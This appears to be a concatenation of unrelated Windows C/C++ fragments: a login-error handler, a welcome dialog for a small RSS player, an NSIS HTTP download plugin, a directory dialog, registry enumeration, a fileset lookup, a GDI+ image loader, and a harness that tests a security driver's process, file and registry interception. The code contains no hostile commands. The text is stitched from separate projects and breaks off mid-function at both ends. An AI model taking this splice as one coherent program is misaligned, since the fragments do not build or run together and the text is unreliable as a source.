strMessage=TEXT("登陆密码错误,登陆失败..."); break; } } //显示错误信息 pClientSocket->CloseSocket(false); m_Info.m_uSystemState=STS_NO_LOGON; if (m_pIMessage!=NULL) m_pIMessage->ShowMessage(strMessage); AfxGetMainWnd()->PostMessage(WM_COMMAND,IDM_LOGON_SYSTEM,0); return true; } } return false; } } return false; }
BOOL CALLBACK AppWelcomeDlg_Proc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_INITDIALOG: { HBITMAP hBitmap = (HBITMAP)LoadImage((HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), MAKEINTRESOURCE(IDB_AppWelcomeDlg_Bkgnd), IMAGE_BITMAP, 0, 0, LR_DEFAULTSIZE | LR_CREATEDIBSECTION | LR_SHARED); if (hBitmap == NULL) { MessageBox(hwnd, TEXT("加载欢迎界面图标失败!!"), TEXT("ERROR"), MB_OK | MB_ICONERROR); return FALSE; } RECT welcomeDlgRect; GetClientRect(hwnd, &welcomeDlgRect); hAppWelcomeDlgBrush = GetBkgndImage(hwnd, hBitmap, welcomeDlgRect); DeleteObject(hBitmap); //创建欢迎窗口的字体。 LOGFONT logfont; ZeroMemory(&logfont, sizeof(logfont)); logfont.lfCharSet = GB2312_CHARSET; logfont.lfClipPrecision = CLIP_DEFAULT_PRECIS; logfont.lfHeight = 20; lstrcpy(logfont.lfFaceName, TEXT("楷体")); logfont.lfQuality = DEFAULT_QUALITY; hWelcomeMsgFont = CreateFontIndirect(&logfont); //获得主界面窗口句柄。 hMainDlgWnd = (HWND)lParam; //显示程序的欢迎信息。 TCHAR szWelcomeMsg[1024] = TEXT("欢迎使用MyRssPlayer!\r\n制作者:许舰_1252878\r\n日期:2014年12月26号"); SetDlgItemText(hwnd, IDC_WelcomeEdit, szWelcomeMsg); } return FALSE; case WM_CTLCOLORDLG: { HDC hDlgDC = (HDC)wParam; HWND hDlgWnd = (HWND)lParam; SetBkMode(hDlgDC, TRANSPARENT); } return (BOOL)hAppWelcomeDlgBrush; case WM_CTLCOLORSTATIC: { HDC hStaticDC = (HDC)wParam; HWND hStaticWnd = (HWND)lParam; SetBkMode(hStaticDC, TRANSPARENT); SetTextColor(hStaticDC, RGB(255, 255, 0)); SendMessage(hwnd, WM_SETFONT, (WPARAM)hWelcomeMsgFont, (LPARAM)FALSE); } return (BOOL)hAppWelcomeDlgBrush; case WM_COMMAND: { switch (LOWORD(wParam)) { case ID_EnterMyRssPlayer://用户点击了进入软件按钮。 { ShowWindow(hMainDlgWnd, SW_SHOW); //之后通知主窗口重绘背景。 SendMessage(hMainDlgWnd, WM_CTLCOLORDLG, (WPARAM)0, (LPARAM)0); DeleteObject(hAppWelcomeDlgBrush); DeleteObject(hWelcomeMsgFont); hMainDlgWnd = NULL; EndDialog(hwnd,0);//欢迎界面关闭。接下来主界面将显示(在函数InitMyRssPlayer中实现)。 } return TRUE; default: return FALSE; } } return FALSE; case WM_DRAWITEM: { LPDRAWITEMSTRUCT lpDrawItemStruct = (LPDRAWITEMSTRUCT)lParam; switch (lpDrawItemStruct->CtlType) { case ODT_BUTTON: { DrawBkgndToButton(hwnd, wParam, lpDrawItemStruct); } return TRUE; default: return FALSE; } } return FALSE; case WM_DESTROY: { ShowWindow(hMainDlgWnd, SW_SHOW); //之后通知主窗口重绘背景。 SendMessage(hMainDlgWnd, WM_CTLCOLORDLG, (WPARAM)0, (LPARAM)0); DeleteObject(hAppWelcomeDlgBrush); DeleteObject(hWelcomeMsgFont); hMainDlgWnd = NULL; EndDialog(hwnd, 0); } return TRUE; } return FALSE; }
__declspec(dllexport) void download (HWND parent, int string_size, char *variables, stack_t **stacktop) { char buf[1024]; char url[1024]; char filename[1024]; static char proxy[1024]; BOOL bSuccess=FALSE; int timeout_ms=30000; int getieproxy=1; int manualproxy=0; int translation_version; char *error=NULL; // translation version 2 & 1 static char szDownloading[1024]; // "Downloading %s" static char szConnecting[1024]; // "Connecting ..." static char szSecond[1024]; // " (1 second remaining)" for v2 // "second" for v1 static char szMinute[1024]; // " (1 minute remaining)" for v2 // "minute" for v1 static char szHour[1024]; // " (1 hour remaining)" for v2 // "hour" for v1 static char szProgress[1024]; // "%skB (%d%%) of %skB at %u.%01ukB/s" for v2 // "%dkB (%d%%) of %dkB at %d.%01dkB/s" for v1 // translation version 2 only static char szSeconds[1024]; // " (%u seconds remaining)" static char szMinutes[1024]; // " (%u minutes remaining)" static char szHours[1024]; // " (%u hours remaining)" // translation version 1 only static char szPlural[1024]; // "s"; static char szRemaining[1024]; // " (%d %s%s remaining)"; EXDLL_INIT(); popstring(url); if (!lstrcmpi(url, "/TRANSLATE2")) { popstring(szDownloading); popstring(szConnecting); popstring(szSecond); popstring(szMinute); popstring(szHour); popstring(szSeconds); popstring(szMinutes); popstring(szHours); popstring(szProgress); popstring(url); translation_version=2; } else if (!lstrcmpi(url, "/TRANSLATE")) { popstring(szDownloading); popstring(szConnecting); popstring(szSecond); popstring(szMinute); popstring(szHour); popstring(szPlural); popstring(szProgress); popstring(szRemaining); popstring(url); translation_version=1; } else { lstrcpy(szDownloading, "Downloading %s"); lstrcpy(szConnecting, "Connecting ..."); lstrcpy(szSecond, " (1 second remaining)"); lstrcpy(szMinute, " (1 minute remaining)"); lstrcpy(szHour, " (1 hour remaining)"); lstrcpy(szSeconds, " (%u seconds remaining)"); lstrcpy(szMinutes, " (%u minutes remaining)"); lstrcpy(szHours, " (%u hours remaining)"); lstrcpy(szProgress, "%skB (%d%%) of %skB at %u.%01ukB/s"); translation_version=2; } lstrcpyn(buf, url, 10); if (!lstrcmpi(buf, "/TIMEOUT=")) { timeout_ms=my_atoi(url+9); popstring(url); } if (!lstrcmpi(url, "/PROXY")) { getieproxy=0; manualproxy=1; popstring(proxy); popstring(url); } if (!lstrcmpi(url, "/NOIEPROXY")) { getieproxy=0; popstring(url); } popstring(filename); HANDLE hFile = CreateFile(filename,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,0,NULL); if (hFile == INVALID_HANDLE_VALUE) { wsprintf(buf, "Unable to open %s", filename); error = buf; } else { if (parent) { uMsgCreate = RegisterWindowMessage("nsisdl create"); lpWndProcOld = (void *)SetWindowLong(parent,GWL_WNDPROC,(long)ParentWndProc); SendMessage(parent, uMsgCreate, TRUE, (LPARAM) parent); // set initial text char *p = filename; while (*p) p++; while (*p != '\\' && p != filename) p = CharPrev(filename, p); wsprintf(buf, szDownloading, p != filename ? p + 1 : p); SetDlgItemText(childwnd, 1006, buf); SetWindowText(g_hwndStatic, szConnecting); } { WSADATA wsaData; WSAStartup(MAKEWORD(1, 1), &wsaData); JNL_HTTPGet *get = 0; static char main_buf[8192]; char *buf=main_buf; char *p=NULL; HKEY hKey; if (getieproxy && RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings",0,KEY_READ,&hKey) == ERROR_SUCCESS) { DWORD l = 4; DWORD t; DWORD v; if (RegQueryValueEx(hKey,"ProxyEnable",NULL,&t,(unsigned char *)&v,&l) == ERROR_SUCCESS && t == REG_DWORD && v) { l=8192; if (RegQueryValueEx(hKey,"ProxyServer",NULL,&t,(unsigned char *)buf,&l ) == ERROR_SUCCESS && t == REG_SZ) { p=strstr(buf,"http="); if (!p) p=buf; else { p+=5; } char *tp=strstr(p,";"); if (tp) *tp=0; char *p2=strstr(p,"="); if (p2) p=0; // we found the wrong proxy } } buf[8192-1]=0; RegCloseKey(hKey); } if (manualproxy == 1) { p = proxy; } DWORD start_time=GetTickCount(); get=new JNL_HTTPGet(JNL_CONNECTION_AUTODNS,16384,(p&&p[0])?p:NULL); int st; int has_printed_headers = 0; __int64 cl = 0; int len; __int64 sofar = 0; DWORD last_recv_time=start_time; get->addheader ("User-Agent: NSISDL/1.2 (Mozilla)"); get->addheader ("Accept: */*"); get->connect (url); while (1) { if (g_cancelled) error = "cancel"; if (error) { if (parent) { SendMessage(parent, uMsgCreate, FALSE, (LPARAM) parent); SetWindowLong(parent, GWL_WNDPROC, (long)lpWndProcOld); } break; } st = get->run (); if (st == -1) { lstrcpyn(url, get->geterrorstr(), sizeof(url)); error = url; } else if (st == 1) { if (sofar < cl || get->get_status () != 2) error="download incomplete"; else { bSuccess=TRUE; error = "success"; } } else { if (get->get_status () == 0) { // progressFunc ("Connecting ...", 0); if (last_recv_time+timeout_ms < GetTickCount()) error = "Timed out on connecting."; else Sleep(10); // don't busy-loop while connecting } else if (get->get_status () == 1) { progress_callback("Reading headers", 0); if (last_recv_time+timeout_ms < GetTickCount()) error = "Timed out on getting headers."; else Sleep(10); // don't busy-loop while reading headers } else if (get->get_status () == 2) { if (! has_printed_headers) { has_printed_headers = 1; last_recv_time=GetTickCount(); cl = get->content_length (); if (cl == 0) error = "Server did not specify content length."; else if (g_hwndProgressBar) { SendMessage(g_hwndProgressBar, PBM_SETRANGE, 0, MAKELPARAM(0, 30000)); g_file_size = cl; } } int data_downloaded = 0; while ((len = get->bytes_available ()) > 0) { data_downloaded++; if (len > 8192) len = 8192; len = get->get_bytes (buf, len); if (len > 0) { last_recv_time=GetTickCount(); DWORD dw; WriteFile(hFile,buf,len,&dw,NULL); sofar += len; int time_sofar=(GetTickCount()-start_time)/1000; int bps = (int)(sofar/(time_sofar?time_sofar:1)); int remain = MulDiv64(time_sofar, cl, sofar) - time_sofar; if (translation_version == 2) { char *rtext=remain==1?szSecond:szSeconds;; if (remain >= 60) { remain/=60; rtext=remain==1?szMinute:szMinutes; if (remain >= 60) { remain/=60; rtext=remain==1?szHour:szHours; } } char sofar_str[128]; char cl_str[128]; myitoa64(sofar/1024, sofar_str); myitoa64(cl/1024, cl_str); wsprintf (buf, szProgress, //%skB (%d%%) of %skB @ %u.%01ukB/s sofar_str, MulDiv64(100, sofar, cl), cl_str, bps/1024,((bps*10)/1024)%10 ); if (remain) wsprintf(buf+lstrlen(buf),rtext, remain ); } else if (translation_version == 1) { char *rtext=szSecond; if (remain >= 60) { remain/=60; rtext=szMinute; if (remain >= 60) { remain/=60; rtext=szHour; } } wsprintf (buf, szProgress, //%dkB (%d%%) of %dkB @ %d.%01dkB/s int(sofar/1024), MulDiv64(100, sofar, cl), int(cl/1024), bps/1024,((bps*10)/1024)%10 ); if (remain) wsprintf(buf+lstrlen(buf),szRemaining, remain, rtext, remain==1?"":szPlural ); } progress_callback(buf, sofar); } else { if (sofar < cl) error = "Server aborted."; } } if (GetTickCount() > last_recv_time+timeout_ms) { if (sofar != cl) { error = "Downloading timed out."; } else { // workaround for bug #1713562 // buggy servers that wait for the client to close the connection. // another solution would be manually stopping when cl == sofar, // but then buggy servers that return wrong content-length will fail. bSuccess = TRUE; error = "success"; } } else if (!data_downloaded) Sleep(10); } else { error = "Bad response status."; } } } // Clean up the connection then release winsock if (get) delete get; WSACleanup(); } CloseHandle(hFile); } if (g_cancelled || !bSuccess) { DeleteFile(filename); } pushstring(error); }
/* This function handles the WM_INITDIALOG message. */ BOOL FASTCALL ChangeDir_OnInitDialog( HWND hwnd, HWND hwndFocus, LPARAM lParam ) { #ifndef WIN32 HINSTANCE hinstNetDriver; #endif LPCHGDIR lpChgDir; int iDrive; /* Set the current directory value */ lpChgDir = (LPCHGDIR)lParam; if( *lpChgDir->szPath ) { Edit_SetText( GetDlgItem( hwnd, IDD_EDIT ), lpChgDir->szPath ); lstrcpy( szCurDir, lpChgDir->szPath ); if( szCurDir[ 1 ] == ':' ) iDrive = ( toupper( *szCurDir ) - 'A' ) + 1; else iDrive = _getdrive(); } else { Amdir_GetCurrentDirectory( szCurDir, _MAX_PATH ); iDrive = _getdrive(); } /* Show the Network button if we're running WorkGroups * or a similiar networking O/S. */ #ifdef WIN32 ShowWindow( GetDlgItem( hwnd, IDD_NETWORK ), SW_SHOW ); #else hinstNetDriver = (HINSTANCE)WNetGetCaps( 0xFFFF ); if( hinstNetDriver ) { LPWNETSERVERBROWSEDIALOG lpDialogAPI; lpDialogAPI = (LPWNETSERVERBROWSEDIALOG)GetProcAddress( hinstNetDriver, (LPSTR)ORD_WNETSERVERBROWSEDIALOG); if( lpDialogAPI != NULL ) ShowWindow( GetDlgItem( hwnd, IDD_NETWORK ), SW_SHOW ); } #endif /* Set window title */ if( *lpChgDir->szTitle ) SetWindowText( hwnd, lpChgDir->szTitle ); /* Set the prompt title */ if( *lpChgDir->szPrompt ) SetWindowText( GetDlgItem( hwnd, IDD_PROMPT ), lpChgDir->szPrompt ); /* Initialise the drive and directory lists */ DriveListInitialize( GetDlgItem( hwnd, IDD_DRIVELIST ), GetDlgItem( hwnd, IDD_TEMPLIST ), iDrive ); DirectoryListInitialize( GetDlgItem( hwnd, IDD_DIRECTORYLIST ), GetDlgItem( hwnd, IDD_TEMPLIST), szCurDir ); AnsiLower( szCurDir ); /* Remember the current drive and directory */ Amdir_GetCurrentDirectory( szDefDir, _MAX_PATH ); iCurDrive = _getdrive(); if( iDrive != iCurDrive ) _chdrive( iDrive ); if( strcmp( szDefDir, szCurDir ) != 0 ) _chdir( szCurDir ); /* Disable OK if directory blank */ EnableControl( hwnd, IDOK, Edit_GetTextLength( GetDlgItem( hwnd, IDD_EDIT ) ) > 0 ); /* Remember pointer to directory */ SetWindowLong( hwnd, DWL_USER, lParam ); return( TRUE ); }
void GetRegKeyList(LPCTSTR lpszSubKey) { HKEY hKey ; TCHAR szRegInfoPath [MAX_PATH] ; lstrcpy (szRegInfoPath, g_szRegInfoPath) ; if (lpszSubKey) lstrcat (szRegInfoPath, lpszSubKey) ; MyDebugPrint((TEXT("Getting: path=%s\n"), szRegInfoPath)); if (RegOpenKeyEx (HKEY_CURRENT_USER, szRegInfoPath, 0, KEY_READ, &hKey) != ERROR_SUCCESS && RegOpenKeyEx (HKEY_LOCAL_MACHINE, szRegInfoPath, 0, KEY_READ, &hKey) != ERROR_SUCCESS) return; { /* from MSDN document */ #define MAX_KEY_LENGTH 260 #define MAX_VALUE_NAME 16383 WCHAR achKey[MAX_KEY_LENGTH]; // buffer for subkey name DWORD cbName; // size of name string CHAR achClass[MAX_PATH] = ""; // buffer for class name DWORD cchClassName = MAX_PATH; // size of class string DWORD cSubKeys=0; // number of subkeys DWORD cbMaxSubKey; // longest subkey size DWORD cchMaxClass; // longest class string DWORD cValues; // number of values for key DWORD cchMaxValue; // longest value name DWORD cbMaxValueData; // longest value data DWORD cbSecurityDescriptor; // size of security descriptor FILETIME ftLastWriteTime; // last write time DWORD i, retCode; WCHAR achValue[MAX_VALUE_NAME]; DWORD cchValue = MAX_VALUE_NAME; // Get the class name and the value count. retCode = RegQueryInfoKey( hKey, // key handle (LPWSTR)achClass, // buffer for class name &cchClassName, // size of class string NULL, // reserved &cSubKeys, // number of subkeys &cbMaxSubKey, // longest subkey size &cchMaxClass, // longest class string &cValues, // number of values for this key &cchMaxValue, // longest value name &cbMaxValueData, // longest value data &cbSecurityDescriptor, // security descriptor &ftLastWriteTime); // last write time #if 0 // Enumerate the subkeys, until RegEnumKeyEx fails. if (cSubKeys) { MyDebugPrint((TEXT("Number of subkeys: %d\n"), cSubKeys)); for (i=0; i<cSubKeys; i++) { cbName = MAX_KEY_LENGTH; retCode = RegEnumKeyEx(hKey, i, achKey, &cbName, NULL, NULL, NULL, &ftLastWriteTime); if (retCode == ERROR_SUCCESS) { MyDebugPrint((TEXT("(%d) %s\n"), i+1, achKey)); } } } #endif // Enumerate the key values. if (cValues) { MyDebugPrint((TEXT("\nNumber of values: %d\n"), cValues)); for (i=0, retCode=ERROR_SUCCESS; i<cValues; i++) { cchValue = MAX_VALUE_NAME; achValue[0] = '\0'; retCode = RegEnumValue(hKey, i, achValue, &cchValue, NULL, NULL, NULL, NULL); if (retCode == ERROR_SUCCESS ) { MyDebugPrint((TEXT("(%d) %s\n"), i+1, achValue)); } } } } }
LPIDENT FILESET::GetIdentifier (void) { if (m_lpiThis == NULL) { TCHAR szCell[ cchNAME ]; TCHAR szServer[ cchNAME ]; TCHAR szAggregate[ cchNAME ]; m_lpiAggregate->GetCellName (szCell); m_lpiAggregate->GetLongServerName (szServer); m_lpiAggregate->GetAggregateName (szAggregate); // Finding the identifier for a fileset is a little tricky, because // (a) a fileset identifier's unique "key" includes the fileset's // aggregate, and (b) filesets can move around in the cell. // // We'll search through our list of IDENTs and see if we can find // an old IDENT object that refers to this fileset; if we can't find // one, we'll create a new one. To make sure we have an accurate match, // we'll require that the IDENT we find match all of the following // criteria: // 1- The identifier must point to a fileset // 2- The identifier must have the same fileset ID as this FILESET // 3- The identifier's cRef must be zero (i.e., there should // not be another FILESET object out there which thinks *it* // uses that IDENT) // 4- The identifier must (obviously) point to the cell in which // this FILESET object resides // 5- If this is a fileset replica, the IDENT must be on the same // aggregate as this fileset // // Note that the IDENT class maintains its list of IDENTs in a // HASHLIST that a key placed on volume IDs. We'll use that key // to speed up our search enormously. // BOOL fRequireSameAggregate = ProbablyReplica(); for (LPENUM pEnum = IDENT::x_lkFilesetID->FindFirst (&m_idVolume); pEnum; pEnum = pEnum->FindNext()) { // Only volumes which match this fileset ID will get here. // LPIDENT lpiFind = (LPIDENT)( pEnum->GetObject() ); if (lpiFind->m_iType != itFILESET) continue; if (lpiFind->m_cRef != 0) continue; if (lstrcmpi (szCell, lpiFind->m_szCell)) continue; if (fRequireSameAggregate) { if (lstrcmpi (szServer, lpiFind->m_szServer)) continue; if (lstrcmpi (szAggregate, lpiFind->m_szAggregate)) continue; } // Found a match! Update the IDENT's name and location, // to ensure it jives with reality... for instance, if // a fileset has been moved, we'll need to fix the // server and aggregate names. Since this affects one // of the keys in the IDENT class's hashlist, update that list. // Delete (pEnum); m_lpiThis = lpiFind; lstrcpy (m_lpiThis->m_szServer, szServer); lstrcpy (m_lpiThis->m_szAggregate, szAggregate); lstrcpy (m_lpiThis->m_szFileset, m_szName); m_lpiThis->Update(); break; } if (m_lpiThis == NULL) m_lpiThis = New2 (IDENT,(this)); // Create a new IDENT if necessary. m_lpiThis->m_cRef ++; } return m_lpiThis; }
void FILESET::GetName (LPTSTR pszName) { lstrcpy (pszName, m_szName); }
bool Open(bool bVirtual, const wchar_t *pFileName, const u8 *pBuffer, i64 lFileSize, COORD crLoadSize) { _ASSERTE(img == NULL); _ASSERTE(gdi != NULL); bool result = false; Gdiplus::Status lRc; nActivePage = -1; nTransparent = -1; //nImgFlags = 0; if (bVirtual && pBuffer && lFileSize) { DWORD n; wchar_t szTempDir[MAX_PATH]; n = GetTempPath(MAX_PATH-16, szTempDir); if (n && n < (MAX_PATH-16)) { n = GetTempFileName(szTempDir, L"CET", 0, szTempFile); if (n) { HANDLE hFile = CreateFile(szTempFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL); if (hFile == INVALID_HANDLE_VALUE) { szTempFile[0] = 0; // не создали, значит и удалять будет нечего } else { DWORD nSize = (DWORD)lFileSize; DWORD nWritten = 0; if (WriteFile(hFile, pBuffer, nSize, &nWritten, NULL) && nWritten == nSize) { bVirtual = false; pFileName = szTempFile; } CloseHandle(hFile); if (bVirtual) { DeleteFile(szTempFile); szTempFile[0] = 0; } } } } } if (bVirtual) { nErrNumber = PGE_FILE_NOT_FOUND; return false; } //if (!bVirtual) img = OpenBitmapFromFile(pFileName, crLoadSize); //else // лучше бы его вообще не использовать, GDI+ как-то не очень с потоками работает... // img = OpenBitmapFromStream(pBuffer, lFileSize); if (!img) { //nErrNumber = gdi->nErrNumber; -- ошибка УЖЕ в nErrNumber } else { lRc = gdi->GdipGetImageWidth(img, &lWidth); lRc = gdi->GdipGetImageHeight(img, &lHeight); lRc = gdi->GdipGetImagePixelFormat(img, (Gdiplus::PixelFormat*)&pf); nBPP = pf >> 8 & 0xFF; //lRc = gdi->GdipGetImageFlags(img, &nImgFlags); Animation = false; nPages = 1; if (!(lRc = gdi->GdipImageGetFrameCount(img, &FrameDimensionTime, &nPages))) Animation = nPages > 1; else if ((lRc = gdi->GdipImageGetFrameCount(img, &FrameDimensionPage, &nPages))) nPages = 1; FormatName[0] = 0; if (gdi->GdipGetImageRawFormat) { GUID gformat; if (!(lRc = gdi->GdipGetImageRawFormat(img, &gformat))) { // DEFINE_GUID(ImageFormatUndefined, 0xb96b3ca9,0x0728,0x11d3,0x9d,0x7b,0x00,0x00,0xf8,0x1e,0xf3,0x2e); // DEFINE_GUID(ImageFormatMemoryBMP, 0xb96b3caa,0x0728,0x11d3,0x9d,0x7b,0x00,0x00,0xf8,0x1e,0xf3,0x2e); const wchar_t Format[][5] = {L"BMP", L"EMF", L"WMF", L"JPEG", L"PNG", L"GIF", L"TIFF", L"EXIF", L"", L"", L"ICO"}; if (gformat.Data1 >= 0xB96B3CAB && gformat.Data1 <= 0xB96B3CB5) { //FormatName = Format[gformat.Data1 - 0xB96B3CAB]; nFormatID = gformat.Data1; lstrcpy(FormatName, Format[gformat.Data1 - 0xB96B3CAB]); } } } result = SelectPage(0); } return result; };
//+ ---------------------------------------------------------------------------------------- int main(int argc, char* argv[]) { BYTE* pEvt; gpModuleName = GetProcessName(gModuleName, sizeof(gModuleName)); if (gpModuleName == NULL) return -1; HANDLE hEventAppear = CreateEvent(NULL, FALSE, FALSE, NULL); if (hEventAppear == NULL) return -2; //+ ---------------------------------------------------------------------------------------- //+ system test #ifdef _check_system Log.AddToLog(L"Starting system interceptor check...\n"); { CheckJob_System SystemJob(&gDrvEventList); if (false == SystemJob.Start()) { Log.AddToLog(L"Can't start check system !"); gDrvEventList.SetError(_ERR_DRVFAULT); } else { SystemJob.ChangeActiveStatus(true); //+ ---------------------------------------------------------------------------------------- //+ open process HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); if (hProcess != NULL) { Log.AddToLog(L"protection fault - process opened!"); gDrvEventList.SetError(_ERR_DRVFAULT); CloseHandle(hProcess); } //+ ---------------------------------------------------------------------------------------- //+ create process (ex) PROCESS_INFORMATION pi; STARTUPINFO si; ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( &pi, sizeof(pi) ); WCHAR cmdline[1024]; if (!ExpandEnvironmentStrings(L"\"%ComSpec%\" /C echo app launched!", cmdline, sizeof(cmdline))) gDrvEventList.SetError(_ERR_INTERNAL); else { if (CreateProcess(NULL, cmdline, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { Log.AddToLog(L"protection fault - process started!"); gDrvEventList.SetError(_ERR_DRVFAULT); WaitForSingleObject(pi.hProcess,INFINITE); } } //+ ---------------------------------------------------------------------------------------- //+ terminate process TerminateProcess((HANDLE) -1, -2); SystemJob.ChangeActiveStatus(false); } while ((pEvt = gDrvEventList.GetFirst()) != NULL) { Log.AddToLog((PEVENT_TRANSMIT) pEvt); gDrvEventList.Free(pEvt); } } #endif //- end system test //- ---------------------------------------------------------------------------------------- //+ ---------------------------------------------------------------------------------------- //+ file test #ifdef _check_file Log.AddToLog(L"Starting file interceptor check...\n"); { CheckJob_File FileJob(&gDrvEventList); if (false == FileJob.Start()) { Log.AddToLog(L"Can't start check file interceptor!"); gDrvEventList.SetError(_ERR_DRVFAULT); } else { FileJob.SetAllowEvents(true); FileJob.ChangeActiveStatus(true); #define _testfilename L"TestFile.tst" #define _testfilename_renamed L"TestFile renamed.tst" #define _testfilename_create L"TestFile check create.tst" HANDLE hTestFile = CreateFile(_testfilename, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hTestFile == INVALID_HANDLE_VALUE) { FileJob.ChangeActiveStatus(false); Log.AddToLog(L"Can't create file TestFile.tst for test"); gDrvEventList.SetError(_ERR_DRVFAULT); FileJob.ChangeActiveStatus(true); } else { DWORD dwBytes; BYTE buf[1024]; ZeroMemory(buf, sizeof(buf)); WriteFile(hTestFile, buf, sizeof(buf), &dwBytes, NULL); if (dwBytes != sizeof(buf)) { Log.AddToLog(L"!Write to TestFile.tst failed"); gDrvEventList.SetError(_ERR_INTERNAL); } FlushFileBuffers(hTestFile); SetFilePointer(hTestFile, 0, NULL, FILE_BEGIN); ReadFile(hTestFile, buf, sizeof(buf), &dwBytes, NULL); if (dwBytes != sizeof(buf)) { Log.AddToLog(L"!Read from TestFile.tst failed"); gDrvEventList.SetError(_ERR_INTERNAL); } CloseHandle(hTestFile); MoveFile(_testfilename, _testfilename_renamed); DeleteFile(_testfilename_renamed); // check deny create file FileJob.SetAllowEvents(false); hTestFile = CreateFile(_testfilename_create, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL); if (hTestFile != INVALID_HANDLE_VALUE) { Log.AddToLog(L"protection fault - file "_testfilename_create L" opened"); gDrvEventList.SetError(_ERR_DRVFAULT); CloseHandle(hTestFile); } } FileJob.ChangeActiveStatus(false); Sleep(100); } while ((pEvt = gDrvEventList.GetFirst()) != NULL) { Log.AddToLog((PEVENT_TRANSMIT) pEvt); gDrvEventList.Free(pEvt); } } #endif //- end files test //- ---------------------------------------------------------------------------------------- //+ ---------------------------------------------------------------------------------------- //+ registry #ifdef _check_regestry Log.AddToLog(L"Starting registry interceptor check...\n"); { CheckJob_Reg RegJob(&gDrvEventList); if (false == RegJob.Start()) { Log.AddToLog(L"Can't start check file interceptor!"); gDrvEventList.SetError(_ERR_DRVFAULT); } else { RegJob.SetAllowEvents(true); RegJob.ChangeActiveStatus(true); HKEY hKey = NULL; if (ERROR_SUCCESS == RegOpenKey(HKEY_CURRENT_USER, L"Software", &hKey)) { DWORD type; DWORD cbData = 0; RegQueryValueEx(hKey, NULL, 0, &type, NULL, &cbData); RegCloseKey(hKey); //+ ---------------------------------------------------------------------------------------- //+ enum { HKEY hKey; if(ERROR_SUCCESS == RegOpenKey(HKEY_CURRENT_USER, L"SOFTWARE", &hKey)) { TCHAR SubkeyName[512]; DWORD dwSubkeyName = sizeof(SubkeyName); DWORD dwIndex = 0; if (RegEnumKey(hKey, dwIndex, SubkeyName, dwSubkeyName) == ERROR_SUCCESS) { // empty if } RegCloseKey(hKey); } } //+ ---------------------------------------------------------------------------------------- } RegJob.ChangeActiveStatus(false); } while ((pEvt = gDrvEventList.GetFirst()) != NULL) { Log.AddToLog((PEVENT_TRANSMIT) pEvt); gDrvEventList.Free(pEvt); } } #endif //- end registry test //- ---------------------------------------------------------------------------------------- //+ ---------------------------------------------------------------------------------------- //+ filter's queue - add (top, bottom, position), enumerate, /*find*/, enable, disable, delete, reset #ifdef _check_flt Log.AddToLog(L"Starting check filtering system\n"); { CheckJob_Flt FltJob(&gDrvEventList, hEventAppear); if (false == FltJob.Start()) { Log.AddToLog(L"Can't start check filtering system!"); gDrvEventList.SetError(_ERR_DRVFAULT); } else { VERDICT Verdict; byte SinglEevent[512]; PFILTER_EVENT_PARAM pSignleEvt = (PFILTER_EVENT_PARAM) SinglEevent; ZeroMemory(SinglEevent, sizeof(SinglEevent)); pSignleEvt->HookID = FLTTYPE_FLT; pSignleEvt->FunctionMj = 0; pSignleEvt->FunctionMi = 0; pSignleEvt->ParamsCount = 1; pSignleEvt->ProcessingType = PreProcessing; PSINGLE_PARAM pSingleParam = (PSINGLE_PARAM) pSignleEvt->Params; BYTE FltTransmit[4095]; PFILTER_TRANSMIT pFlt = (PFILTER_TRANSMIT) FltTransmit; ZeroMemory(FltTransmit, sizeof(FltTransmit)); FltJob.SetAllowEvents(true); if (false == FltJob.ChangeActiveStatus(true)) { Log.AddToLog(L"Can't activate check filtering system!"); gDrvEventList.SetError(_ERR_DRVFAULT); } else { Log.AddToLog(L"check filter's order..."); ULONG FltArr[4] = {0}; FltArr[1] = AddFSFilter2(FltJob.m_hDevice, FltJob.m_AppID, gpModuleName, 5, FLT_A_DEFAULT, FLTTYPE_FLT, 0, 0, 0, PreProcessing, NULL, NULL); FltArr[3] = AddFSFilter2(FltJob.m_hDevice, FltJob.m_AppID, gpModuleName, 5, FLT_A_DEFAULT, FLTTYPE_FLT, 0, 0, 0, PreProcessing, NULL, NULL); if (!FltArr[1] || !FltArr[3]) { Log.AddToLog(L"Add filter to FLTTYPE_FLT failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { DWORD site = 0; FltArr[0] = AddFSFilter2(FltJob.m_hDevice, FltJob.m_AppID, gpModuleName, 5, FLT_A_DEFAULT, FLTTYPE_FLT, 0, 0, 0, PreProcessing, &site, NULL); site = FltArr[1]; FltArr[2] = AddFSFilter2(FltJob.m_hDevice, FltJob.m_AppID, gpModuleName, 5, FLT_A_DEFAULT, FLTTYPE_FLT, 0, 0, 0, PreProcessing, &site, NULL); } if (!FltArr[0] || !FltArr[2]) { Log.AddToLog(L"Add filter to FLTTYPE_FLT failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { pFlt->m_AppID = FltJob.m_AppID; pFlt->m_FltCtl = FLTCTL_FIRST; if (FALSE == IDriverFilterTransmit(FltJob.m_hDevice, pFlt, pFlt, sizeof(FltTransmit), sizeof(FltTransmit))) { Log.AddToLog(L"Enumerating filter's failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { int ienum = 0; pFlt->m_FltCtl = FLTCTL_NEXT; do { if (ienum > sizeof(FltArr) / sizeof(FltArr[0])) { Log.AddToLog(L"Filter's count mismatch!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { if (FltArr[ienum] != pFlt->m_FilterID) { Log.AddToLog(L"Filter's order mismatch!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } ienum++; } } while (TRUE == 